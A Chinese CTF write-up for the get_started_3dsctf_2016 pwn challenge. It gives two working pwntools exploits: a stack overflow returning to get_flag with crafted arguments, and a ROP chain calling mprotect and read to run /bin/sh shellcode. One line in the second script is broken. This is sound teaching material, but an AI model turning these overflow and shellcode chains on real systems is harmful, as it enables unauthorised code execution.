这题我本来以为是简单的ret2text.结果还是中了小坑。
先看保护:
32位程序,接下来测试下效果:
看看IDA中逻辑:
题目一进来有很多函数,盲猜是静态编译了。而且在函数堆中发现了个get_flag。信心慢慢的直接写代码返回get_flag地址。结果发现打不通。最终发现问题如下:
1.打远程的时候他将会判断参数是否合规,因此我们要构造get_flag的参数的正确性。
2.这题在main函数开始的时候没有压入ebp,因此计算溢出位置不用覆盖ebp。也就是说以前的old_ebp的位置变成了现在的返回地址。
3.不需要interactive去交互,需要用recv去接收flag。(一开始没搞明白程序卡在这)
4.构造垃圾数据不用b‘a',打不通。直接'a'就行了
因此我们的exp构造如下:
from pwn import *
io=remote('node5.buuoj.cn',28905)
#io=process('./get_started_3dsctf_2016')
context.log_level = 'debug'
get_flag=0x80489A0
arg_1=0x308CD64F
arg_2=0x195719D1
exit=0x0804E6A0
payload='a'*0x38+p32(get_flag)+p32(exit)+p32(arg_1)+p32(arg_2)
io.sendline(payload)
io.recv()
这题还有一种解法,我是看别的师傅wp才知道的。
1 from pwn import *
2 q = remote(')
3 #q = process('./get_started_3dsctf_2016')
4 context.log_level = 'debug'
5
6 mprotect = 0x0806EC80
7 buf = 0x80ea000
8 pop_3_ret = 0x0804f460
9 read_addr = 0x0806E140
10
11 payload = 'a'*56
12 payload += p32(mprotect)
13 payload += p32(pop_3_ret)
14 payload += p32(buf)
15 payload += p32(0x1000)
16 payload += p32(0x7)
17 payload += p32(read_addr)
18 payload += p32(buf)
19 payload += p32(0)
20 payload += p32(buf)
21 payload += p32(0x100)
22 q.sendline(payload)
23 sleep(0.1)
24
25 shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
26 q.sendline(shellcode)
27 sleep(0.1)
28 q.interactive()
这里贴一下别的师傅的wp